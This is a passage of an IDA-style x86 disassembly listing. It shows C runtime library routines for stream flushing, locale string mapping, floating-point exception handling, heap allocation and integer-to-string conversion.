0FFFFFFFFh loc_421149: ; CODE XREF: sub_4210E3+55j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_42115A mov eax, [ebp+var_1C] jmp short loc_421178 sub_4210E3 endp ; =============== S U B R O U T I N E ======================================= sub_421157 proc near ; DATA XREF: .text:stru_429F48o mov ebx, [ebp+8] sub_421157 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42115A proc near ; CODE XREF: sub_4210E3+6Ap push ebx call sub_425845 pop ecx retn sub_42115A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4210E3 loc_421162: ; CODE XREF: sub_4210E3+15j ; sub_4210E3+35j call sub_4200B5 mov dword ptr [eax], 9 call sub_4200BE and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_421178: ; CODE XREF: sub_4210E3+72j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_4210E3 ; =============== S U B R O U T I N E ======================================= sub_42117E proc near ; CODE XREF: sub_41D477+18p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_4211A7 test al, 8 jz short loc_4211A7 push dword ptr [esi+8] call sub_41C2DD and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_4211A7: ; CODE XREF: sub_42117E+Aj ; sub_42117E+Ej pop esi retn sub_42117E endp ; =============== S U B R O U T I N E ======================================= sub_4211A9 proc near ; CODE XREF: sub_41D477+10p ; sub_41DB1A+7Dp ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] mov eax, [esi+0Ch] mov ecx, eax and cl, 3 xor ebx, ebx cmp cl, 2 jnz short loc_4211F8 test ax, 108h jz short loc_4211F8 mov eax, [esi+8] push edi mov edi, [esi] sub edi, eax test edi, edi jle short loc_4211F7 push edi push eax push dword ptr [esi+10h] call sub_422410 add esp, 0Ch cmp eax, edi jnz short loc_4211F0 mov eax, [esi+0Ch] test al, al jns short loc_4211F7 and eax, 0FFFFFFFDh mov [esi+0Ch], eax jmp short loc_4211F7 ; --------------------------------------------------------------------------- loc_4211F0: ; CODE XREF: sub_4211A9+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_4211F7: ; CODE XREF: sub_4211A9+25j ; sub_4211A9+3Dj ... pop edi loc_4211F8: ; CODE XREF: sub_4211A9+13j ; sub_4211A9+19j mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop esi mov eax, ebx pop ebx retn sub_4211A9 endp ; =============== S U B R O U T I N E ======================================= sub_421206 proc near ; CODE XREF: sub_421234+67p ; sub_421234+82p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_4211A9 test eax, eax pop ecx jz short loc_42121B or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_421206+Ej test byte ptr [esi+0Dh], 40h jz short loc_421230 push dword ptr [esi+10h] call sub_4259E3 pop ecx neg eax sbb eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_421230: ; CODE XREF: sub_421206+19j xor eax, eax pop esi retn sub_421206 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421234 proc near ; CODE XREF: sub_421309+2p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004212E5 SIZE 0000001B BYTES push 14h push offset stru_429F58 call __SEH_prolog xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_24], edi push 1 call sub_41E983 pop ecx mov [ebp+ms_exc.disabled], edi xor esi, esi loc_421255: ; CODE XREF: sub_421234+99j mov [ebp+var_20], esi cmp esi, ds:dword_439580 jge loc_4212E5 mov eax, ds:dword_438560 mov eax, [eax+esi*4] cmp eax, edi jz short loc_4212CC test byte ptr [eax+0Ch], 83h jz short loc_4212CC push eax push esi call sub_420CAF pop ecx pop ecx xor edx, edx inc edx mov [ebp+ms_exc.disabled], edx mov eax, ds:dword_438560 mov eax, [eax+esi*4] mov ecx, [eax+0Ch] test cl, 83h jz short loc_4212C4 cmp [ebp+arg_0], edx jnz short loc_4212AB push eax call sub_421206 pop ecx cmp eax, 0FFFFFFFFh jz short loc_4212C4 inc [ebp+var_1C] jmp short loc_4212C4 ; --------------------------------------------------------------------------- loc_4212AB: ; CODE XREF: sub_421234+64j cmp [ebp+arg_0], edi jnz short loc_4212C4 test cl, 2 jz short loc_4212C4 push eax call sub_421206 pop ecx cmp eax, 0FFFFFFFFh jnz short loc_4212C4 or [ebp+var_24], eax loc_4212C4: ; CODE XREF: sub_421234+5Fj ; sub_421234+70j ... mov [ebp+ms_exc.disabled], edi call sub_4212D4 loc_4212CC: ; CODE XREF: sub_421234+3Aj ; sub_421234+40j inc esi jmp short loc_421255 sub_421234 endp ; =============== S U B R O U T I N E ======================================= sub_4212CF proc near ; DATA XREF: .text:00429F6Co xor edi, edi mov esi, [ebp-20h] sub_4212CF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4212D4 proc near ; CODE XREF: sub_421234+93p mov eax, ds:dword_438560 push dword ptr [eax+esi*4] push esi call sub_420D01 pop ecx pop ecx retn sub_4212D4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_421234 loc_4212E5: ; CODE XREF: sub_421234+2Aj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_421300 cmp [ebp+arg_0], 1 mov eax, [ebp+var_1C] jz short loc_4212FA mov eax, [ebp+var_24] loc_4212FA: ; CODE XREF: sub_421234+C1j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_421234 ; =============== S U B R O U T I N E ======================================= sub_421300 proc near ; CODE XREF: sub_421234+B5p ; DATA XREF: .text:stru_429F58o push 1 call sub_41E8CE pop ecx retn sub_421300 endp ; =============== S U B R O U T I N E ======================================= sub_421309 proc near ; CODE XREF: .text:loc_420C6Cp push 1 call sub_421234 pop ecx retn sub_421309 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_421320 proc near ; CODE XREF: sub_4102C7+26p ; sub_417AA4+11p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_421339 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_421339: ; CODE XREF: sub_421320+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_421320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421354 proc near ; CODE XREF: sub_424828+C5p ; sub_424828+EDp ... var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push 38h push offset stru_429F78 call __SEH_prolog xor ebx, ebx cmp ds:dword_4356CC, ebx jnz short loc_4213A2 push ebx push ebx xor esi, esi inc esi push esi push offset dword_429F70 push 100h push ebx call ds:dword_429064 ; LCMapStringW test eax, eax jz short loc_42138D mov ds:dword_4356CC, esi jmp short loc_4213A2 ; --------------------------------------------------------------------------- loc_42138D: ; CODE XREF: sub_421354+2Fj call ds:dword_4290D8 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_4213A2 mov ds:dword_4356CC, 2 loc_4213A2: ; CODE XREF: sub_421354+14j ; sub_421354+37j ... cmp [ebp+arg_C], ebx jle short loc_4213C2 mov ecx, [ebp+arg_C] mov eax, [ebp+arg_8] loc_4213AD: ; CODE XREF: sub_421354+61j dec ecx cmp [eax], bl jz short loc_4213BA inc eax cmp ecx, ebx jnz short loc_4213AD or ecx, 0FFFFFFFFh loc_4213BA: ; CODE XREF: sub_421354+5Cj or eax, 0FFFFFFFFh sub eax, ecx add [ebp+arg_C], eax loc_4213C2: ; CODE XREF: sub_421354+51j mov eax, ds:dword_4356CC cmp eax, 2 jz loc_4215AC cmp eax, ebx jz loc_4215AC cmp eax, 1 jnz loc_4215DF xor edi, edi mov [ebp+var_2C], edi mov [ebp+var_38], ebx mov [ebp+var_34], ebx cmp [ebp+arg_18], ebx jnz short loc_4213F9 mov eax, ds:dword_435894 mov [ebp+arg_18], eax loc_4213F9: ; CODE XREF: sub_421354+9Bj push ebx push ebx push [ebp+arg_C] push [ebp+arg_8] xor eax, eax cmp [ebp+arg_1C], ebx setnz al lea eax, ds:1[eax*8] push eax push [ebp+arg_18] call ds:dword_429124 ; MultiByteToWideChar mov esi, eax mov [ebp+var_30], esi cmp esi, ebx jz loc_4215DF mov [ebp+ms_exc.disabled], 1 lea eax, [esi+esi] add eax, 3 and eax, 0FFFFFFFCh call sub_41E090 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_421465 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_425CAB xor ebx, ebx mov [ebp+var_1C], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_2C] mov esi, [ebp+var_30] loc_421465: ; CODE XREF: sub_421354+F4j cmp [ebp+var_1C], ebx jnz short loc_421486 lea eax, [esi+esi] push eax call sub_41D0C4 pop ecx mov [ebp+var_1C], eax cmp eax, ebx jz loc_4215DF mov [ebp+var_38], 1 loc_421486: ; CODE XREF: sub_421354+114j push esi push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call ds:dword_429124 ; MultiByteToWideChar test eax, eax jz loc_421589 push ebx push ebx push esi push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_429064 ; LCMapStringW mov edi, eax mov [ebp+var_2C], edi cmp edi, ebx jz loc_421589 test byte ptr [ebp+arg_4+1], 4 jz short loc_4214F5 cmp [ebp+arg_14], ebx jz loc_421589 cmp edi, [ebp+arg_14] jg loc_421589 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_429064 ; LCMapStringW jmp loc_421589 ; --------------------------------------------------------------------------- loc_4214F5: ; CODE XREF: sub_421354+172j mov [ebp+ms_exc.disabled], 2 lea eax, [edi+edi] add eax, 3 and eax, 0FFFFFFFCh call sub_41E090 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_20], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_421533 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_425CAB xor ebx, ebx mov [ebp+var_20], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_2C] mov esi, [ebp+var_30] loc_421533: ; CODE XREF: sub_421354+1C2j cmp [ebp+var_20], ebx jnz short loc_421550 lea eax, [edi+edi] push eax call sub_41D0C4 pop ecx mov [ebp+var_20], eax cmp eax, ebx jz short loc_421589 mov [ebp+var_34], 1 loc_421550: ; CODE XREF: sub_421354+1E2j push edi push [ebp+var_20] push esi push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_429064 ; LCMapStringW test eax, eax jz short loc_421589 push ebx push ebx cmp [ebp+arg_14], ebx jnz short loc_421573 push ebx push ebx jmp short loc_421579 ; --------------------------------------------------------------------------- loc_421573: ; CODE XREF: sub_421354+219j push [ebp+arg_14] push [ebp+arg_10] loc_421579: ; CODE XREF: sub_421354+21Dj push edi push [ebp+var_20] push ebx push [ebp+arg_18] call ds:dword_429174 ; WideCharToMultiByte mov edi, eax loc_421589: ; CODE XREF: sub_421354+149j ; sub_421354+168j ... cmp [ebp+var_34], ebx jz short loc_421597 push [ebp+var_20] call sub_41C2DD pop ecx loc_421597: ; CODE XREF: sub_421354+238j cmp [ebp+var_38], ebx jz short loc_4215A5 push [ebp+var_1C] call sub_41C2DD pop ecx loc_4215A5: ; CODE XREF: sub_421354+246j mov eax, edi jmp loc_421707 ; --------------------------------------------------------------------------- loc_4215AC: ; CODE XREF: sub_421354+76j ; sub_421354+7Ej mov [ebp+var_28], ebx xor edi, edi mov [ebp+var_3C], ebx cmp [ebp+arg_0], ebx jnz short loc_4215C1 mov eax, ds:dword_435884 mov [ebp+arg_0], eax loc_4215C1: ; CODE XREF: sub_421354+263j cmp [ebp+arg_18], ebx jnz short loc_4215CE mov eax, ds:dword_435894 mov [ebp+arg_18], eax loc_4215CE: ; CODE XREF: sub_421354+270j push [ebp+arg_0] call sub_425A9F pop ecx mov [ebp+var_40], eax cmp eax, 0FFFFFFFFh jnz short loc_4215E6 loc_4215DF: ; CODE XREF: sub_421354+87j ; sub_421354+CDj ... xor eax, eax jmp loc_421707 ; --------------------------------------------------------------------------- loc_4215E6: ; CODE XREF: sub_421354+289j cmp eax, [ebp+arg_18] jz loc_4216DD push ebx push ebx lea ecx, [ebp+arg_C] push ecx push [ebp+arg_8] push eax push [ebp+arg_18] call sub_425AE2 add esp, 18h mov [ebp+var_28], eax cmp eax, ebx jz short loc_4215DF push ebx push ebx push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call ds:dword_429068 ; LCMapStringA mov esi, eax mov [ebp+var_24], esi cmp esi, ebx jz loc_4216CC mov [ebp+ms_exc.disabled], ebx add eax, 3 and eax, 0FFFFFFFCh call sub_41E090 mov [ebp+ms_exc.old_esp], esp mov edi, esp mov [ebp+var_44], edi push esi push ebx push edi call sub_41C6D0 add esp, 0Ch jmp short loc_42165D ; --------------------------------------------------------------------------- loc_42164D: ; DATA XREF: .text:stru_429F78o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_421651: ; DATA XREF: .text:stru_429F78o mov esp, [ebp+ms_exc.old_esp] call sub_425CAB xor ebx, ebx xor edi, edi loc_42165D: ; CODE XREF: sub_421354+2F7j or [ebp+ms_exc.disabled], 0FFFFFFFFh cmp edi, ebx jnz short loc_421688 push [ebp+var_24] call sub_41D0C4 pop ecx mov edi, eax cmp edi, ebx jz short loc_4216A5 push [ebp+var_24] push ebx push edi call sub_41C6D0 add esp, 0Ch mov [ebp+var_3C], 1 loc_421688: ; CODE XREF: sub_421354+30Fj push [ebp+var_24] push edi push [ebp+arg_C] push [ebp+var_28] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_429068 ; LCMapStringA mov [ebp+var_24], eax cmp eax, ebx jnz short loc_4216A9 loc_4216A5: ; CODE XREF: sub_421354+31Ej xor esi, esi jmp short loc_4216CF ; --------------------------------------------------------------------------- loc_4216A9: ; CODE XREF: sub_421354+34Fj push [ebp+arg_14] push [ebp+arg_10] lea eax, [ebp+var_24] push eax push edi push [ebp+arg_18] push [ebp+var_40] call sub_425AE2 add esp, 18h mov esi, eax neg esi sbb esi, esi neg esi jmp short loc_4216CF ; --------------------------------------------------------------------------- loc_4216CC: ; CODE XREF: sub_421354+2D0j mov esi, [ebp+var_48] loc_4216CF: ; CODE XREF: sub_421354+353j ; sub_421354+376j cmp [ebp+var_3C], ebx jz short loc_4216F7 push edi call sub_41C2DD pop ecx jmp short loc_4216F7 ; --------------------------------------------------------------------------- loc_4216DD: ; CODE XREF: sub_421354+295j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_429068 ; LCMapStringA mov esi, eax loc_4216F7: ; CODE XREF: sub_421354+37Ej ; sub_421354+387j cmp [ebp+var_28], ebx jz short loc_421705 push [ebp+var_28] call sub_41C2DD pop ecx loc_421705: ; CODE XREF: sub_421354+3A6j mov eax, esi loc_421707: ; CODE XREF: sub_421354+253j ; sub_421354+28Dj lea esp, [ebp-54h] call __SEH_epilog retn sub_421354 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421710 proc near ; CODE XREF: sub_41D6EF+2Ap var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, ds:dword_433148 push ebx push esi push edi xor esi, esi push esi push esi push esi push esi push [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_10] push eax xor edi, edi call sub_42612C mov ebx, eax add esp, 1Ch test bl, 4 jz short loc_421750 mov edi, 200h mov [ebp+var_18], esi mov [ebp+var_14], esi jmp short loc_42177E ; --------------------------------------------------------------------------- loc_421750: ; CODE XREF: sub_421710+31j lea eax, [ebp+var_18] push eax lea eax, [ebp+var_10] push eax call sub_426086 test bl, 2 pop ecx pop ecx jnz short loc_421769 cmp eax, 1 jnz short loc_42176E loc_421769: ; CODE XREF: sub_421710+52j mov edi, 80h loc_42176E: ; CODE XREF: sub_421710+57j test bl, 1 jnz short loc_421778 cmp eax, 2 jnz short loc_42177E loc_421778: ; CODE XREF: sub_421710+61j or edi, 100h loc_42177E: ; CODE XREF: sub_421710+3Ej ; sub_421710+66j mov eax, [ebp+arg_0] mov ecx, [ebp+var_1C] sub ecx, [ebp+arg_4] mov [eax], edi mov [eax+4], ecx mov ecx, [ebp+var_18] mov [eax+10h], ecx mov ecx, [ebp+var_14] pop edi mov [eax+14h], ecx mov ecx, [ebp+var_4] pop esi pop ebx call sub_41E5BB leave retn sub_421710 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217A5 proc near ; CODE XREF: sub_41D732+B2p ; sub_41DE51+Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi call sub_4203B6 mov edi, [ebp+arg_0] mov esi, eax mov edx, [esi+54h] mov eax, ds:dword_433894 mov ecx, edx loc_4217C0: ; CODE XREF: sub_4217A5+2Aj cmp [ecx], edi jz short loc_4217D1 lea ebx, [eax+eax*2] add ecx, 0Ch lea ebx, [edx+ebx*4] cmp ecx, ebx jb short loc_4217C0 loc_4217D1: ; CODE XREF: sub_4217A5+1Dj lea eax, [eax+eax*2] lea eax, [edx+eax*4] cmp ecx, eax jnb short loc_4217DF cmp [ecx], edi jz short loc_4217E1 loc_4217DF: ; CODE XREF: sub_4217A5+34j xor ecx, ecx loc_4217E1: ; CODE XREF: sub_4217A5+38j test ecx, ecx jz loc_4218FB mov ebx, [ecx+8] test ebx, ebx mov [ebp+arg_0], ebx jz loc_4218FB cmp ebx, 5 jnz short loc_421808 and dword ptr [ecx+8], 0 xor eax, eax inc eax jmp loc_421904 ; --------------------------------------------------------------------------- loc_421808: ; CODE XREF: sub_4217A5+55j cmp ebx, 1 jz loc_4218F6 mov eax, [esi+58h] mov [ebp+var_4], eax mov eax, [ebp+arg_4] mov [esi+58h], eax mov eax, [ecx+4] cmp eax, 8 jnz loc_4218E8 mov edx, ds:dword_433888 mov eax, ds:dword_43388C add eax, edx cmp edx, eax jge short loc_421861 lea eax, [edx+edx*2] shl eax, 2 loc_421840: ; CODE XREF: sub_4217A5+B7j mov edi, [esi+54h] and dword ptr [eax+edi+8], 0 mov edi, ds:dword_433888 mov ebx, ds:dword_43388C inc edx add ebx, edi add eax, 0Ch cmp edx, ebx jl short loc_421840 mov ebx, [ebp+arg_0] loc_421861: ; CODE XREF: sub_4217A5+93j mov ecx, [ecx] cmp ecx, 0C000008Eh mov edi, [esi+5Ch] jnz short loc_421877 mov dword ptr [esi+5Ch], 83h jmp short loc_4218DB ; --------------------------------------------------------------------------- loc_421877: ; CODE XREF: sub_4217A5+C7j cmp ecx, 0C0000090h jnz short loc_421888 mov dword ptr [esi+5Ch], 81h jmp short loc_4218DB ; --------------------------------------------------------------------------- loc_421888: ; CODE XREF: sub_4217A5+D8j cmp ecx, 0C0000091h jnz short loc_421899 mov dword ptr [esi+5Ch], 84h jmp short loc_4218DB ; --------------------------------------------------------------------------- loc_421899: ; CODE XREF: sub_4217A5+E9j cmp ecx, 0C0000093h jnz short loc_4218AA mov dword ptr [esi+5Ch], 85h jmp short loc_4218DB ; --------------------------------------------------------------------------- loc_4218AA: ; CODE XREF: sub_4217A5+FAj cmp ecx, 0C000008Dh jnz short loc_4218BB mov dword ptr [esi+5Ch], 82h jmp short loc_4218DB ; --------------------------------------------------------------------------- loc_4218BB: ; CODE XREF: sub_4217A5+10Bj cmp ecx, 0C000008Fh jnz short loc_4218CC mov dword ptr [esi+5Ch], 86h jmp short loc_4218DB ; --------------------------------------------------------------------------- loc_4218CC: ; CODE XREF: sub_4217A5+11Cj cmp ecx, 0C0000092h jnz short loc_4218DB mov dword ptr [esi+5Ch], 8Ah loc_4218DB: ; CODE XREF: sub_4217A5+D0j ; sub_4217A5+E1j ... push dword ptr [esi+5Ch] push 8 call ebx pop ecx mov [esi+5Ch], edi jmp short loc_4218EF ; --------------------------------------------------------------------------- loc_4218E8: ; CODE XREF: sub_4217A5+7Ej and dword ptr [ecx+8], 0 push eax call ebx loc_4218EF: ; CODE XREF: sub_4217A5+141j mov eax, [ebp+var_4] pop ecx mov [esi+58h], eax loc_4218F6: ; CODE XREF: sub_4217A5+66j or eax, 0FFFFFFFFh jmp short loc_421904 ; --------------------------------------------------------------------------- loc_4218FB: ; CODE XREF: sub_4217A5+3Ej ; sub_4217A5+4Cj push [ebp+arg_4] call ds:dword_429060 ; UnhandledExceptionFilter loc_421904: ; CODE XREF: sub_4217A5+5Ej ; sub_4217A5+154j pop edi pop esi pop ebx leave retn sub_4217A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421909 proc near ; CODE XREF: sub_41D7F8+25p ; sub_4203B6+23p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004219BC SIZE 00000008 BYTES push 10h push offset stru_429FA0 call __SEH_prolog mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] mov [ebp+var_20], esi test esi, esi jnz short loc_421924 inc esi loc_421924: ; CODE XREF: sub_421909+18j ; sub_421909+9Fj xor edi, edi mov [ebp+var_1C], edi cmp esi, 0FFFFFFE0h ja short loc_421993 cmp ds:dword_4395BC, 3 jnz short loc_42197E add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi mov ebx, [ebp+var_20] cmp ebx, ds:dword_4395A8 ja short loc_42197E push 4 call sub_41E983 pop ecx and [ebp+ms_exc.disabled], edi push ebx call sub_41F1DB pop ecx mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4219B3 mov edi, [ebp+var_1C] test edi, edi jz short loc_421982 push [ebp+var_20] push 0 push edi call sub_41C6D0 add esp, 0Ch loc_42197E: ; CODE XREF: sub_421909+2Cj ; sub_421909+40j test edi, edi jnz short loc_4219BC loc_421982: ; CODE XREF: sub_421909+65j push esi push 8 push ds:dword_4395B8 call ds:dword_4290A0 ; RtlAllocateHeap mov edi, eax loc_421993: ; CODE XREF: sub_421909+23j test edi, edi jnz short loc_4219BC cmp ds:dword_4356BC, edi jz short loc_4219BC push esi call sub_41E56F pop ecx test eax, eax jnz loc_421924 jmp short loc_4219BE sub_421909 endp ; =============== S U B R O U T I N E ======================================= sub_4219B0 proc near ; DATA XREF: .text:stru_429FA0o mov esi, [ebp+0Ch] sub_4219B0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4219B3 proc near ; CODE XREF: sub_421909+5Bp push 4 call sub_41E8CE pop ecx retn sub_4219B3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_421909 loc_4219BC: ; CODE XREF: sub_421909+77j ; sub_421909+8Cj ... mov eax, edi loc_4219BE: ; CODE XREF: sub_421909+A5j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_421909 ; =============== S U B R O U T I N E ======================================= sub_4219C4 proc near ; CODE XREF: sub_421A02+1Ep ; sub_421A2C+Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_4], 0 jz short loc_4219D1 mov byte ptr [ecx], 2Dh inc ecx neg eax loc_4219D1: ; CODE XREF: sub_4219C4+5j push esi mov esi, ecx loc_4219D4: ; CODE XREF: sub_4219C4+28j xor edx, edx div [esp+4+arg_0] cmp edx, 9 jbe short loc_4219E4 add dl, 57h jmp short loc_4219E7 ; --------------------------------------------------------------------------- loc_4219E4: ; CODE XREF: sub_4219C4+19j add dl, 30h loc_4219E7: ; CODE XREF: sub_4219C4+1Ej mov [ecx], dl inc ecx test eax, eax ja short loc_4219D4 mov byte ptr [ecx], 0 dec ecx loc_4219F2: ; CODE XREF: sub_4219C4+3Aj mov dl, [esi] mov al, [ecx] mov [ecx], dl dec ecx mov [esi], al inc esi cmp esi, ecx jb short loc_4219F2 pop esi retn sub_4219C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421A02 proc near ; CODE XREF: sub_4094D4+4Dp ; sub_40FEFE+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah mov eax, [ebp+arg_0] jnz short loc_421A18 test eax, eax jge short loc_421A18 push 1 push 0Ah jmp short loc_421A1D ; --------------------------------------------------------------------------- loc_421A18: ; CODE XREF: sub_421A02+Aj ; sub_421A02+Ej push 0 push [ebp+arg_8] loc_421A1D: ; CODE XREF: sub_421A02+14j mov ecx, [ebp+arg_4] call sub_4219C4 mov eax, [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_421A02 endp ; =============== S U B R O U T I N E ======================================= sub_421A2C proc near ; CODE XREF: sub_41D883+4Cp ; sub_41D8E4+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push 0 push [esp+4+arg_8] call sub_4219C4 mov eax, [esp+8+arg_4] pop ecx pop ecx retn sub_421A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421A46 proc near ; CODE XREF: sub_41D883+46p jmp ds:dword_429148 sub_421A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421A4C proc near ; CODE XREF: sub_41D8E4+Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor esi, esi call sub_4203B6 mov eax, [eax+60h] cmp eax, ds:dword_438204 jz short loc_421A67 call sub_4249B4 loc_421A67: ; CODE XREF: sub_421A4C+14j cmp [eax+8], esi jnz short loc_421A73 pop esi pop ebp jmp sub_41C8A0 ; --------------------------------------------------------------------------- loc_421A73: ; CODE XREF: sub_421A4C+1Ej mov edx, [ebp+arg_0] push ebx push edi loc_421A78: ; CODE XREF: sub_421A4C+62j mov bl, [edx] movzx ecx, bl movzx edi, cl test byte ptr [edi+eax+1Dh], 4 jz short loc_421AA4 inc edx mov bl, [edx] test bl, bl jz short loc_421AA0 movzx edi, bl shl ecx, 8 or ecx, edi cmp [ebp+arg_4], ecx jnz short loc_421AAB lea esi, [edx-1] jmp short loc_421AAB ; --------------------------------------------------------------------------- loc_421AA0: ; CODE XREF: sub_421A4C+40j test esi, esi jmp short loc_421AA7 ; --------------------------------------------------------------------------- loc_421AA4: ; CODE XREF: sub_421A4C+39j cmp [ebp+arg_4], ecx loc_421AA7: ; CODE XREF: sub_421A4C+56j jnz short loc_421AAB mov esi, edx loc_421AAB: ; CODE XREF: sub_421A4C+4Dj ; sub_421A4C+52j ... inc edx test bl, bl jnz short loc_421A78 pop edi pop ebx mov eax, esi pop esi pop ebp retn sub_421A4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421AB7 proc near ; DATA XREF: .text:00433068o var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h ; FUNCTION CHUNK AT 00421B3E SIZE 00000012 BYTES push 10h push offset stru_429FB0 call __SEH_prolog xor esi, esi mov [ebp+var_1C], esi push 1 call sub_41E983 pop ecx mov [ebp+ms_exc.disabled], esi loc_421AD3: ; CODE XREF: sub_421AB7+71j mov [ebp+var_20], esi cmp esi, ds:dword_439580 jge short loc_421B3E mov eax, ds:dword_438560 mov eax, [eax+esi*4] test eax, eax jz short loc_421B27 test byte ptr [eax+0Ch], 83h jz short loc_421B27 push eax push esi call sub_420CAF pop ecx pop ecx mov [ebp+ms_exc.disabled], 1 mov eax, ds:dword_438560 mov eax, [eax+esi*4] test byte ptr [eax+0Ch], 83h jz short loc_421B1E cmp dword ptr [eax+1Ch], 0 jz short loc_421B1E push eax call sub_41D477 pop ecx inc [ebp+var_1C] loc_421B1E: ; CODE XREF: sub_421AB7+55j ; sub_421AB7+5Bj and [ebp+ms_exc.disabled], 0 call sub_421B2D loc_421B27: ; CODE XREF: sub_421AB7+31j ; sub_421AB7+37j inc esi jmp short loc_421AD3 